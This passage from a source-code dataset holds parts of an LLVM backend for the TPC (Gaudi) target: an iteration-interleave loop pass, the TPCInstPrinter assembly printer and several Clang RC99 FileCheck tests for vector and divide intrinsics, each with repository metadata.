for (BasicBlock::iterator I = FirstIterMemAcc; I != SecondIterMemAcc; ++I) {\n const Instruction &Inst = *I;\n if (isCoordUpdate(&Inst))\n continue;\n\n if (isIntrinsicOfID(&Inst, MemAccessType))\n continue;\n\n return IsomorphicInterleaveState::NotInterleaved;\n }\n\n return IsomorphicInterleaveState::Interleaved;\n }\n\n /// Does an isomorphic interleave of container \\p Cont\n void isomorphicInterleave(const Container &Cont) {\n const VecInstVecType &InstLists = Cont.InstLists;\n unsigned NI, NJ;\n\n if (Cont.InstLists.size() == 0 || Cont.InstLists[0].size() == 0) {\n LLVM_DEBUG(dbgs() << \"iter-ilv::isomorphic: Skipping \"\n << Cont.getTypeAsString()\n << \"-container since it's empty\\n\");\n return;\n }\n\n NI = InstLists[0].size();\n NJ = IsomorphicCM->getIF(Cont);\n overrideIF(Cont, /* &IF */ NJ);\n if (!NJ)\n return;\n\n for (unsigned I = 0; I < NI; ++I) {\n Instruction *To = InstLists[0][I];\n for (unsigned J = 1; J < NJ; ++J) {\n moveNonPHIInBBAfter(InstLists[J][I], To);\n To = InstLists[J][I];\n }\n }\n\n NumInstsInterleaved += NI * (NJ - 1);\n }\n\n /// Does an isomorphic interleave of container(s) in \\p ContainersOfInterest\n void isomorphicInterleave() {\n if (CurrentIsomorphicInterleaveState ==\n IsomorphicInterleaveState::Interleaved ||\n CurrentIsomorphicInterleaveState ==\n IsomorphicInterleaveState::Unknown) {\n LLVM_DEBUG(dbgs() << \"iter-ilv::isomorphic: Maybe already interleaved\\n\");\n return;\n }\n\n for (const Container &Cont : ContainersOfInterest) {\n isomorphicInterleave(Cont);\n }\n }\n\n /// Returns true if \\p Inst is a software-pipelined instruction in \\p TheLoop\n bool isSWPInst(const Instruction *Inst) const {\n // We asssume `Inst` is an SWP instruction if it has one user of type\n // PHINode in it's BB.\n unsigned PHIUsrCount = 0;\n for (const User *Usr : Inst->users()) {\n const Instruction *UsrDef = dyn_cast<Instruction>(Usr);\n if (!UsrDef)\n continue;\n\n if (UsrDef->getParent() != Inst->getParent())\n continue;\n\n if (!isa<PHINode>(UsrDef))\n return false;\n\n PHIUsrCount++;\n }\n\n if (PHIUsrCount == 1)\n return true;\n\n return false;\n }\n\n /// This strategy groups computes before loads (i.e. SWP loads) and stores.\n /// After that, the coord-updates will be filled between the loads, stores and\n /// computes.\n bool interleaveSWPStrategyA() {\n const Container *LoadContainer =\n getContainerOfInterest(Container::Type::Load);\n const Container *ComputeContainer =\n getContainerOfInterest(Container::Type::Compute);\n const Container *StoreContainer =\n getContainerOfInterest(Container::Type::Store);\n if (!LoadContainer || !ComputeContainer || !StoreContainer)\n return false;\n\n LLVM_DEBUG(dbgs() << \"iter-ilv::SWP: Using strategy A\\n\");\n\n // Group loads after computes\n moveNonPHIInBBAfter(LoadContainer->InstLists[0].front(),\n ComputeContainer->InstLists[UF - 1].back());\n IsomorphicCM->setIF(*LoadContainer, UF);\n isomorphicInterleave(*LoadContainer);\n\n // Group stores after loads\n moveNonPHIInBBAfter(StoreContainer->InstLists[0].front(),\n LoadContainer->InstLists[UF - 1].back());\n IsomorphicCM->setIF(*StoreContainer, UF);\n isomorphicInterleave(*StoreContainer);\n\n std::deque<Instruction *> CoordUpdatesQ;\n\n unsigned LoadsPerIteration = LoadContainer->getNumInstPerIteration();\n unsigned ComputesPerIteration = ComputeContainer->getNumInstPerIteration();\n\n // Ignore bitcasts\n for (const Instruction *Compute : ComputeContainer->InstLists[0]) {\n if (isa<BitCastInst>(Compute))\n --ComputesPerIteration;\n }\n\n // Fill coord-updates between computes if we have a > 1 compute-to-load\n // ratio\n if (LoadsPerIteration && ComputesPerIteration &&\n (ComputesPerIteration / LoadsPerIteration) > 1) {\n LLVM_DEBUG(dbgs() << \"iter-ilv::SWP: Got compute-to-load ratio > 1\\n\");\n\n for (Instruction *CoordUpdate : CoordUpdates) {\n CoordUpdatesQ.push_back(CoordUpdate);\n }\n\n for (unsigned I = 0; I < UF; ++I) {\n for (Instruction *Compute : ComputeContainer->InstLists[I]) {\n if (CoordUpdatesQ.empty())\n break;\n\n Instruction *CoordUpdate = CoordUpdatesQ.front();\n moveNonPHIInBBAfter(CoordUpdate, Compute);\n CoordUpdatesQ.pop_front();\n NumInstsInterleaved++;\n }\n }\n\n IsomorphicCM->setIF(*ComputeContainer, UF);\n isomorphicInterleave(*ComputeContainer);\n\n } else {\n LLVM_DEBUG(dbgs() << \"iter-ilv::SWP: Got compute-to-load ratio <= 1\\n\");\n for (Instruction *CoordUpdate : CoordUpdates) {\n CoordUpdatesQ.push_front(CoordUpdate);\n }\n }\n\n // Fill remaining coord-updates between loads and stores\n for (Instruction *Load : Loads) {\n if (CoordUpdatesQ.empty())\n break;\n\n Instruction *CoordUpdate = CoordUpdatesQ.front();\n moveNonPHIInBBAfter(CoordUpdate, Load);\n CoordUpdatesQ.pop_front();\n NumInstsInterleaved++;\n }\n\n for (Instruction *Store : Stores) {\n if (CoordUpdatesQ.empty())\n break;\n\n Instruction *CoordUpdate = CoordUpdatesQ.front();\n moveNonPHIInBBAfter(CoordUpdate, Store);\n CoordUpdatesQ.pop_front();\n NumInstsInterleaved++;\n }\n\n removeContainerOfInterest(*LoadContainer);\n removeContainerOfInterest(*ComputeContainer);\n removeContainerOfInterest(*StoreContainer);\n\n return true;\n }\n\n /// This strategy fills \\p SWPLoads between computes and stores\n bool interleaveSWPStrategyB(std::deque<Instruction *> &SWPLoads) {\n if (SWPLoads.empty()) {\n return false;\n }\n\n const Container *LoadContainer =\n getContainerOfInterest(Container::Type::Load);\n if (!LoadContainer)\n return false;\n\n LLVM_DEBUG(dbgs() << \"iter-ilv::SWP: Using strategy B\\n\");\n\n // We want the DAG rooted at each loads at the top of `TheLoopHeader` since\n // that'll allow us to move the loads between computes and stores without\n // worrying about it's DAG ruining the packetizer.\n isomorphicInterleave(*LoadContainer);\n removeContainerOfInterest(*LoadContainer);\n\n for (unsigned I = 0; I < UF; ++I) {\n for (Instruction *ComputeInst : CI->HeaderComputeInstsVec[I]) {\n Instruction *SWPLoad = SWPLoads.front();\n moveNonPHIInBBAfter(SWPLoad, ComputeInst);\n NumInstsInterleaved++;\n SWPLoads.pop_front();\n if (SWPLoads.empty())\n return true;\n }\n\n for (Instruction *StoreInst : CI->HeaderStoreInstsVec[I]) {\n Instruction *SWPLoad = SWPLoads.front();\n moveNonPHIInBBAfter(SWPLoad, StoreInst);\n NumInstsInterleaved++;\n SWPLoads.pop_front();\n if (SWPLoads.empty())\n return true;\n }\n }\n\n return true;\n }\n\n /// Interleave by taking advantage of SWP insts (if any)\n void interleaveSWPInsts() {\n if (CurrentIsomorphicInterleaveState ==\n IsomorphicInterleaveState::Interleaved) {\n return;\n }\n\n std::deque<Instruction *> SWPLoads;\n for (Instruction *Load : Loads) {\n if (isSWPInst(Load))\n SWPLoads.push_back(Load);\n }\n\n if (SWPLoads.empty())\n return;\n\n const Container *LoadContainer =\n getContainerOfInterest(Container::Type::Load);\n if (!LoadContainer)\n return;\n\n if (SWPLoads.size() != LoadContainer->getNumInst())\n return;\n\n LLVM_DEBUG(dbgs() << \"iter-ilv::SWP: Found \" << SWPLoads.size()\n << \" SWP loads\\n\");\n\n if (!interleaveSWPStrategyA()) {\n interleaveSWPStrategyB(SWPLoads);\n }\n }\n\n /// The iteration interleave driver\n void interleave() {\n CurrentIsomorphicInterleaveState = getIsomorphicInterleaveState();\n interleaveSWPInsts();\n isomorphicInterleave();\n }\n\n /// Return true if we should attempt the transformation. Strictly speaking,\n /// this is not just checking legality, but more precisely, if the current\n /// implementation can interleave \\p TheLoop.\n bool isReasonable() {\n if (!TheLoop->getSubLoops().empty()) {\n LLVM_DEBUG(dbgs() << \"iter-ilv: Not an inner most loop\\n\");\n return false;\n }\n\n if (TheLoop->getNumBlocks() > 1) {\n LLVM_DEBUG(dbgs() << \"iter-ilv: Has more than 1 number of blocks\\n\");\n return false;\n }\n\n if (!TheLoop->isRotatedForm()) {\n LLVM_DEBUG(dbgs() << \"iter-ilv: Not a rotated loop\\n\");\n return false;\n }\n\n CI = std::make_unique<ClusterInfo>(TheLoop, SE);\n if (!CI->clusterInstructions()) {\n LLVM_DEBUG(dbgs() << \"iter-ilv: ClusterInfo failed\\n\");\n return false;\n }\n UF = getLoopUF(TheLoop);\n\n if (!UF) {\n LLVM_DEBUG(dbgs() << \"iter-ilv: Could not determine unroll-factor\\n\");\n return false;\n }\n\n if (UF < 2) {\n LLVM_DEBUG(dbgs() << \"iter-ilv: Not an unrolled loop\\n\");\n return false;\n }\n\n for (Instruction &I : *TheLoopHeader) {\n Container::Type ContType = Container::getTypeFor(&I);\n switch (ContType) {\n case Container::Type::CoordUpdate:\n CoordUpdates.push_back(&I);\n break;\n case Container::Type::Load:\n Loads.push_back(&I);\n break;\n case Container::Type::Store:\n Stores.push_back(&I);\n break;\n default:\n break;\n }\n }\n\n // Populate `CI->HeaderCoordUpdateInstsVec` from `CoordUpdates`\n unsigned CoordUpdatesPerIteration = CoordUpdates.size() / UF;\n if (!CoordUpdatesPerIteration)\n CoordUpdatesPerIteration = CoordUpdates.size();\n\n unsigned I = 0;\n for (Instruction *Inst : CoordUpdates) {\n CI->HeaderCoordUpdateInstsVec.push_back(InstructionVecType());\n CI->HeaderCoordUpdateInstsVec[I / CoordUpdatesPerIteration].push_back(\n Inst);\n I++;\n }\n\n // Populate `CI->HeaderLoadInstsVec` from `Loads` if `CI` couldn't\n unsigned LoadsPerIteration = Loads.size() / UF;\n if (CI->HeaderLoadInstsVec[0].empty() && LoadsPerIteration > 0 &&\n (LoadsPerIteration * UF) == Loads.size()) {\n unsigned I = 0;\n for (Instruction *Inst : Loads) {\n CI->HeaderLoadInstsVec[I / LoadsPerIteration].push_back(Inst);\n I++;\n }\n }\n\n addContainerOfInterest(CI->HeaderCoordUpdateInstsVec,\n Container::Type::CoordUpdate);\n addContainerOfInterest(CI->HeaderLoadInstsVec, Container::Type::Load);\n addContainerOfInterest(CI->HeaderComputeInstsVec, Container::Type::Compute);\n addContainerOfInterest(CI->HeaderStoreInstsVec, Container::Type::Store);\n\n if (CI->getNumClusters() >= 2) {\n unsigned LoadsPerIteration = CI->HeaderLoadInstsVec[0].size();\n\n if (LoadsPerIteration * UF >= 16) {\n LLVM_DEBUG(\n dbgs() << \"iter-ilv: Interleaving will stack up too many loads\\n\");\n return false;\n }\n }\n\n // Populate `ClusterSetsOfInterest` from `ContainersOfInterest`\n unsigned NumClusters = CI->getNumClusters();\n ClusterSetsOfInterest.resize(NumClusters);\n for (unsigned I = 0; I < NumClusters; ++I) {\n for (const Container &Cont : ContainersOfInterest) {\n if (Cont.isCoordUpdateType())\n continue;\n\n for (Instruction *Inst : Cont.InstLists[I]) {\n ClusterSetsOfInterest[I].insert(Inst);\n }\n }\n }\n\n if (!hasSimpleClusterDeps()) {\n LLVM_DEBUG(dbgs() << \"iter-ilv: Interleaving is not supported for the \"\n \"given cluster dependencies\\n\");\n return false;\n }\n\n return true;\n }\n\npublic:\n IterationInterleaver(ScalarEvolution *SE, const TargetTransformInfo *TTI,\n Loop *L)\n : SE(SE), TTI(TTI), TheLoop(L) {}\n\n bool run() {\n setLoopInfo();\n\n LLVM_DEBUG(dbgs() << \"iter-ilv: Working on \" << *TheLoop);\n\n if (!isReasonable()) {\n LLVM_DEBUG(dbgs() << \"iter-ilv: Skipping \" << TheLoop->getName() << \"\\n\");\n return false;\n }\n\n IsomorphicCM =\n std::make_unique<IsomorphicCostModel>(TTI, UF, ContainersOfInterest);\n\n if (ElimFalseCoordUpdateDepsOpt) {\n elimCoordUpdateFalseDeps();\n }\n\n LLVM_DEBUG(dbgs() << \"iter-ilv: Interleaving \" << TheLoop->getName()\n << \"\\n\");\n interleave();\n\n if (TrimCoordUpdateLiveRangeOpt) {\n trimCoordUpdateLiveRange();\n }\n\n NumLoopsInterleaved++;\n return true;\n }\n};\n\nstruct IterationInterleaveLegacy : public LoopPass {\n static char ID;\n\n bool runOnLoop(Loop *L, LPPassManager &LPM) override {\n ScalarEvolution *SE = &getAnalysis<ScalarEvolutionWrapperPass>().getSE();\n const TargetTransformInfo *TTI =\n &getAnalysis<TargetTransformInfoWrapperPass>().getTTI(\n *L->getHeader()->getParent());\n IterationInterleaver II(SE, TTI, L);\n return II.run();\n }\n\n IterationInterleaveLegacy() : LoopPass(ID) {\n initializeIterationInterleaveLegacyPass(*PassRegistry::getPassRegistry());\n }\n\n void getAnalysisUsage(AnalysisUsage &AU) const override {\n AU.addRequired<ScalarEvolutionWrapperPass>();\n AU.addRequired<TargetTransformInfoWrapperPass>();\n\n AU.setPreservesCFG();\n }\n};\n\n} // end anonymous namespace\n\nchar IterationInterleaveLegacy::ID = 0;\n\nINITIALIZE_PASS_BEGIN(IterationInterleaveLegacy, \"iter-ilv\",\n \"Iteration Interleave\", false, false)\nINITIALIZE_PASS_DEPENDENCY(ScalarEvolutionWrapperPass)\nINITIALIZE_PASS_DEPENDENCY(TargetTransformInfoWrapperPass)\nINITIALIZE_PASS_END(IterationInterleaveLegacy, \"iter-ilv\",\n \"Iteration Interleave\", false, false)\n\nPass *llvm::createIterationInterleavePass() {\n return new IterationInterleaveLegacy();\n}\n" }, { "alpha_fraction": 0.4955357015132904, "alphanum_fraction": 0.5848214030265808, "avg_line_length": 41, "blob_id": "284e36b391e684cd1d048b3f221788098b0bb945", "content_id": "d992d9e716e66cdcdb8ed8f213e418983222de77", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 672, "license_type": "permissive", "max_line_length": 106, "num_lines": 16, "path": "/clang/test/RC99/IntrinsicsM/udiv_4step/u8_udiv_4step-02-02b.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 -bfloat16 -target-cpu gaudi %s -o - | FileCheck %s\n\n\nvoid main(unsigned char x0, unsigned char x1, int dest, _Bool pred)\n{\n const unsigned step_1 = 4;\n unsigned char __local *res0 = (unsigned char __local *)dest;\n uint8_t_pair_t temp_res0 = {0,0};\n uint8_t_pair_t temp_res1 = {0,0};\n temp_res0 = u8_udiv_4step(x0, 1, 0, temp_res0, pred, 0);\n //CHECK-DAG: udiv_4step.u8 0x1 %Z{{[0-9]+}}, %S{{[0-9]+}}, %SP{{[0-9]+}}\n *res0++ = temp_res0.v1;\n temp_res1 = u8_udiv_4step(x1, step_1, 0, temp_res1, pred, 0);\n //CHECK-DAG: udiv_4step.u8 0x4 %Z{{[0-9]+}}, %S{{[0-9]+}}, %SP{{[0-9]+}}\n *res0++ = temp_res1.v1;\n}\n" }, { "alpha_fraction": 0.37612614035606384, "alphanum_fraction": 0.5045045018196106, "avg_line_length": 38.17647171020508, "blob_id": "ad7d85ac74fe15c89cd586a9adffacd64e737e66", "content_id": "4363922f52a82370a99f6ed4292867c58c790465", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1332, "license_type": "permissive", "max_line_length": 106, "num_lines": 34, "path": "/clang/test/RC99/IntrinsicsM/mul/v_bf16_mul_acc32_vb.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi -bfloat16 %s -o - | FileCheck %s\n\n\nvoid main(_BFloat16 a, _BFloat16 b, int dest, int src) {\n float128 __local *dptr = (float128 __local *)dest;\n bfloat128 x0 = *(bfloat128 __local *)(src + 0 * 256);\n bfloat128 x1 = *(bfloat128 __local *)(src + 1 * 256);\n bool128 pred = *(bool128 __local *)(src + 2 * 256);\n float128 res = { 0 };\n\n res = v_bf16_mul_acc32_vb(x0, x1, 0, res, pred, 0);\n *dptr++ = res;\n // CHECK: mul.bf16 acc_fp32 %D{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %VP{{[0-9]+}}\n\n res = v_bf16_mul_acc32_vb(x0, x1, 0, res, pred, 1);\n *dptr++ = res;\n // CHECK: mul.bf16 acc_fp32 %D{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, !%VP{{[0-9]+}}\n\n res = v_bf16_mul_acc32_vb(x0, a, 0, res, pred, 0);\n *dptr++ = res;\n // CHECK: mul.bf16 acc_fp32 %D{{[0-9]+}}, %V{{[0-9]+}}, %S0, %VP{{[0-9]+}}\n\n res = v_bf16_mul_acc32_vb(x0, a, 0, res, pred, 1);\n *dptr++ = res;\n // CHECK: mul.bf16 acc_fp32 %D{{[0-9]+}}, %V{{[0-9]+}}, %S0, !%VP{{[0-9]+}}\n\n res = v_bf16_mul_acc32_vb(x0, 1.5, 0, res, pred, 0);\n *dptr++ = res;\n // CHECK: mul.bf16 acc_fp32 %D{{[0-9]+}}, %V{{[0-9]+}}, 0x3fc0, %VP{{[0-9]+}}\n\n res = v_bf16_mul_acc32_vb(x0, 1.5, 0, res, pred, 1);\n *dptr++ = res;\n // CHECK: mul.bf16 acc_fp32 %D{{[0-9]+}}, %V{{[0-9]+}}, 0x3fc0, !%VP{{[0-9]+}}\n}\n" }, { "alpha_fraction": 0.607351541519165, "alphanum_fraction": 0.6152685880661011, "avg_line_length": 29.488506317138672, "blob_id": "2675377312c0e98c1e92db980888cd1de108d6b6", "content_id": "4bcd229033c3ca9182b8187e3007c9e33dc83537", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 10610, "license_type": "permissive", "max_line_length": 97, "num_lines": 348, "path": "/llvm/lib/Target/TPC/MCTargetDesc/TPCInstPrinter.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===---- TPCInstPrinter.cpp - Convert TPC MCInst to asm syntax -----------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n// This class prints an TPC MCInst to a .s file.\n//\n//===----------------------------------------------------------------------===//\n\n#include \"TPCInstPrinter.h\"\n#include \"TPC.h\"\n#include \"MCTargetDesc/TPCMCInstrInfo.h\"\n#include \"MCTargetDesc/InstructionDB.h\"\n#include \"llvm/MC/MCAsmInfo.h\"\n#include \"llvm/MC/MCExpr.h\"\n#include \"llvm/MC/MCInst.h\"\n#include \"llvm/MC/MCSymbol.h\"\n#include \"llvm/MC/MCInstrInfo.h\"\n#include \"llvm/MC/MCSubtargetInfo.h\"\n#include \"llvm/Support/ErrorHandling.h\"\n#include \"llvm/Support/FormattedStream.h\"\n#include \"llvm/Support/CommandLine.h\"\n#include <bitset>\n\nusing namespace llvm;\n\nconst int TPCInstPrinter::InstructionPerLineNoNops = 0;\nconst int TPCInstPrinter::InstructionPerLine = 1;\nconst int TPCInstPrinter::BundlePerLine = 2;\nconst int TPCInstPrinter::TpcAsmParseCompatible = 3;\n\n#define DEBUG_TYPE \"asm-printer\"\n\n// Include the auto-generated portion of the assembly writer.\n#define PRINT_ALIAS_INSTR\n#include \"TPCGenAsmWriter.inc\"\n\nvoid TPCInstPrinter::printRegName(raw_ostream &OS, unsigned RegNo) const {\n OS << StringRef(getRegisterName(RegNo)).lower();\n}\n\nvoid TPCInstPrinter::printAddrOperand(const MCInst* MI, unsigned OpNum, raw_ostream& O) {\n const MCOperand &MO1 = MI->getOperand(OpNum);\n\n if (MO1.isImm()) {\n O << formatHex(MO1.getImm());\n } else {\n assert(MO1.isReg() && \"First part of an address should be a register or an immediate\");\n if (HasPercentPrefix)\n O << \"%\";\n O << getRegisterName(MO1.getReg());\n }\n\n if (TPCII::getSubtargetInfo()->hasFeature(TPC::FeatureAddr2)) {\n const MCOperand &MO2 = MI->getOperand(OpNum + 1);\n O << \", \";\n if (MO2.isImm()) {\n O << formatHex(MO2.getImm());\n } else {\n assert(MO2.isReg() && \"First part of an address should be a register or an immediate\");\n if (HasPercentPrefix)\n O << \"%\";\n O << getRegisterName(MO2.getReg());\n }\n }\n}\n\nvoid TPCInstPrinter::printSPredicate(const MCInst *MI, unsigned OpNum, raw_ostream &O) {\n const MCOperand &PredReg = MI->getOperand(OpNum);\n const MCOperand &Polarity = MI->getOperand(OpNum + 1);\n\n assert(PredReg.isReg() && \"Predicate must be a register\");\n assert(Polarity.isImm() && \"Polarity must be an immediate\");\n assert(MRI.getRegClass(TPC::SPRFRegClassID).contains(PredReg.getReg()) &&\n \"Predicate register must be from SPRF\");\n if (Polarity.getImm())\n O << \"!\";\n if (HasPercentPrefix)\n O << \"%\";\n O << getRegisterName(PredReg.getReg());\n}\n\nvoid TPCInstPrinter::printVPredicate(const MCInst *MI, unsigned OpNum, raw_ostream &O) {\n const MCOperand &PredReg = MI->getOperand(OpNum);\n const MCOperand &Polarity = MI->getOperand(OpNum + 1);\n\n assert(PredReg.isReg() && \"Predicate must be a register\");\n assert(Polarity.isImm() && \"Polarity must be an immediate\");\n assert(MRI.getRegClass(TPC::VPRFRegClassID).contains(PredReg.getReg()) &&\n \"Predicate register must be from VPRF\");\n if (Polarity.getImm())\n O << \"!\";\n if (HasPercentPrefix)\n O << \"%\";\n O << getRegisterName(PredReg.getReg());\n}\n\nvoid TPCInstPrinter::printDataType(const MCInst *MI, unsigned OpNum, raw_ostream &O) {\n const MCOperand &Op = MI->getOperand(OpNum);\n\n assert(Op.isImm() && \"TypeOp must be an immediate\");\n static const StringRef OpTypes[] = {\n \".f32\",\n \".bf16\",\n \".i32\",\n \".u32\",\n \".i8\",\n \".u8\",\n \".b\",\n \".i16\",\n \".u16\",\n \".i4\",\n \".u4\",\n \".f16\",\n \".f8_152\",\n \".f8_143\",\n \".i64\"\n };\n unsigned Ndx = Op.getImm();\n assert(Ndx < array_lengthof(OpTypes));\n StringRef DTName = OpTypes[Ndx];\n\n // Don't print datatype operand if instruction mnemonic already contains it.\n // FIXME: getOpcodeName returns a TableGen's record name, but essentially we want an AsmString.\n // However there is no API to get the AsmString...\n StringRef InsnName = getOpcodeName(MI->getOpcode());\n if (InsnName.contains(DTName.drop_front(1)))\n return;\n\n O << DTName;\n}\n\nvoid TPCInstPrinter::printDimMask(const MCInst *MI, unsigned OpNum, raw_ostream &O) {\n const MCOperand &Op = MI->getOperand(OpNum);\n\n assert(Op.isImm() && \"DimMask must be an immediate\");\n unsigned Mask = Op.getImm();\n assert(Mask < 32);\n\n O << 'b' << std::bitset<5>(Mask).to_string();\n}\n\nvoid TPCInstPrinter::printSwitchSet(const MCInst *MI, unsigned OpNum, raw_ostream &O) {\n const MCOperand &Op = MI->getOperand(OpNum);\n\n assert(Op.isImm() && \"Switches must be an immediate\");\n O << TPCII::spellSwitchSet(Op.getImm(), MI, OpNum, MII.get(MI->getOpcode()), MRI);\n}\n\nvoid TPCInstPrinter::printJmpLoopTarget(const MCInst *MI, unsigned OpNum, raw_ostream &O) {\n const MCOperand &Op = MI->getOperand(OpNum);\n if (Op.isImm()) {\n O << Op.getImm(); \n } else if (Op.isExpr()) {\n const MCExpr *Exp = Op.getExpr();\n Exp->print(O, &MAI);\n }\n}\n\nvoid TPCInstPrinter::printComparison(const MCInst *MI, unsigned OpNum, raw_ostream &O) {\n const MCOperand &Op = MI->getOperand(OpNum);\n static const StringRef LoopCompareText[] = {\n \">\", \">=\", \"<\", \"<=\", \"==\", \"!=\"\n };\n\n assert(Op.isImm() && \"Switches must be an immediate\");\n unsigned Cmp = Op.getImm();\n assert(Cmp < array_lengthof(LoopCompareText));\n O << LoopCompareText[Cmp];\n\n}\n\nvoid TPCInstPrinter::printLoopImm(const MCInst *MI, unsigned OpNum, raw_ostream &O) {\n const MCOperand &Op = MI->getOperand(OpNum);\n if (!Op.isImm()) {\n return;\n }\n assert(Op.isImm() && \"LoopImm must be an immediate\");\n O << Op.getImm();\n}\n\nvoid TPCInstPrinter::printAccumulator(const MCInst *, unsigned, raw_ostream &) {\n}\n\nvoid TPCInstPrinter::printRhaz(const MCInst *, unsigned, raw_ostream &) {\n}\n\nvoid TPCInstPrinter::printRhazRs(const MCInst *, unsigned, raw_ostream &) {\n}\n\nvoid TPCInstPrinter::printRhu(const MCInst *MI, unsigned OpNum, raw_ostream &O) {\n const MCOperand &Op = MI->getOperand(OpNum);\n assert(Op.isImm() && \"RHU must be an immediate\");\n\n switch(Op.getImm()) {\n default: llvm_unreachable(\"Unknown RHU value\");\n case 2: O << \"RHU\"; break;\n }\n}\n\nvoid TPCInstPrinter::printBothDivMod(const MCInst *, unsigned, raw_ostream &) {\n}\nvoid TPCInstPrinter::printX2(const MCInst *, unsigned, raw_ostream &) {\n}\n\nvoid TPCInstPrinter::printMovDGAll(const MCInst *, unsigned, raw_ostream &O) {\n O << \"all\";\n}\n\nvoid TPCInstPrinter::printMovDGPack(const MCInst *, unsigned, raw_ostream &O) {\n O << \"pack\";\n}\n\nvoid TPCInstPrinter::printMovDGUnpack(const MCInst *, unsigned, raw_ostream &O) {\n O << \"unpack\";\n}\n\n//\n// Helper function for printing the bundle in one row, sorted by slots\n//\nvoid getSortedInstrsFromBundle(const MCInst *bundle, MCInst** array_p, MCInstrInfo MII) {\n int idx;\n for (auto &I : TPCMCInstrInfo::bundleInstructions(*bundle)) {\n MCInst *MI = const_cast<MCInst*>(I.getInst());\n const MCInstrDesc& MCI = MII.get(MI->getOpcode());\n if (TPCII::isLoadInst(MCI)) {\n idx = 0;\n }\n else if (TPCII::isSPUInst(MCI)) {\n idx = 1;\n }\n else if (TPCII::isVPUInst(MCI)) {\n idx = 2;\n }\n else if (TPCII::isStoreInst(MCI)) {\n idx = 3;\n }\n else {\n assert(0 && \"Unknown instruction kind in bundle\");\n }\n array_p[idx] = MI;\n }\n}\n\nstatic bool isNOP(const MCInst & Inst) {\n switch (Inst.getOpcode()) {\n case TPC::NOPld:\n case TPC::NOPs:\n case TPC::NOPv:\n case TPC::NOPst:\n return true;\n default:\n return false;\n }\n}\n\nvoid TPCInstPrinter::printInst(const MCInst *MI, uint64_t Address,\n StringRef Annotation, const MCSubtargetInfo &STI,\n raw_ostream &OS) {\n TPCII::setSubTargetInfo(&STI);\n\n if (MI->getOpcode() == TPC::BUNDLE) {\n if (getFormat() == InstructionPerLine ||\n getFormat() == InstructionPerLineNoNops) {\n int icount = 0; // how many instrs in the bundle are going to be really printed\n for (auto &I : TPCMCInstrInfo::bundleInstructions(*MI)) {\n MCInst &Bundle_MI = const_cast<MCInst &>(*I.getInst());\n // Do not print NOP instructions inside bundle.\n if (getFormat() == InstructionPerLineNoNops && isNOP(Bundle_MI))\n continue;\n icount++;\n }\n\n if (icount > 1) {\n OS << \"{\\n\";\n } else if (icount == 0) {\n OS << \"\\tNOP\";\n }\n for (auto &I : TPCMCInstrInfo::bundleInstructions(*MI)) {\n const MCInst &Bundle_MI = *I.getInst();\n // Do not print NOP instructions inside bundle.\n if (getFormat() == InstructionPerLineNoNops && isNOP(Bundle_MI))\n continue;\n printInstruction(&Bundle_MI, Address, OS);\n if (icount > 1) {\n OS << \"\\n\";\n }\n }\n if (icount > 1) {\n OS << \"}\";\n }\n } else { // BundlePerLine\n MCInst *array[4] = {nullptr,nullptr,nullptr,nullptr};\n getSortedInstrsFromBundle(MI, (MCInst**)(&array[0]), MII);\n for (int i=0; i<4; i++) {\n if (array[i]) {\n printInstruction(array[i], Address, OS);\n } else {\n OS << \"\\t\";\n }\n if (i < 3) {\n OS << \"; \";\n }\n }\n }\n } else {\n printInstruction(MI, Address, OS);\n }\n printAnnotation(OS, Annotation);\n}\n\nbool TPCInstPrinter::printInst(const MCInst *MI, raw_ostream &OS,\n StringRef Alias, unsigned OpNo0,\n unsigned OpNo1) {\n OS << \"\\t\" << Alias << \" \";\n printOperand(MI, OpNo0, OS);\n OS << \", \";\n printOperand(MI, OpNo1, OS);\n return true;\n}\n\nvoid TPCInstPrinter::printOperand(const MCInst *MI, unsigned OpNo,\n raw_ostream &OS) {\n const MCOperand &Op = MI->getOperand(OpNo);\n if (Op.isReg()) {\n if (HasPercentPrefix)\n OS << \"%\";\n OS << getRegisterName(Op.getReg());\n } else if (Op.isImm()) {\n OS << formatHex(Op.getImm());\n } else if (Op.isFPImm()) {\n float Val = (float)Op.getFPImm();\n uint64_t ival = 0l;\n // Using this two-step static_cast via void * instead of cast\n // silences a -Wstrict-aliasing false positive from GCC6 and earlier.\n //((unsigned*)&ival) [0] = *((unsigned*)&Val);\n void *Storage = static_cast<void *>(&Val);\n ival= *static_cast<uint64_t *>(Storage);\n OS << formatHex(ival);\n }\n else {\n assert(Op.isExpr() && \"Expected an expression\");\n Op.getExpr()->print(OS, &MAI);\n }\n}\n" }, { "alpha_fraction": 0.4748491048812866, "alphanum_fraction": 0.5754527449607849, "avg_line_length": 30.0625, "blob_id": "a79a86fa4a65a7b42d5c4843283e398f62fcda8e", "content_id": "b57391e771f82137488ff77ad46e7abbcca041da", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 497, "license_type": "permissive", "max_line_length": 78, "num_lines": 16, "path": "/clang/test/RC99/CodeGen/ind_opt_add_scal.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n\nvoid main(int src,int step) {\n int64 val = src;\n int5 storeCoord = { 0, 1, 2, 3, 4 };\n storeCoord[0]+=step;\n storeCoord[1]+=step;\n storeCoord[2]+=step;\n i32_st_tnsr_i_v_b(storeCoord, 1, val, 1, 0);\n storeCoord[3]+=step;\n 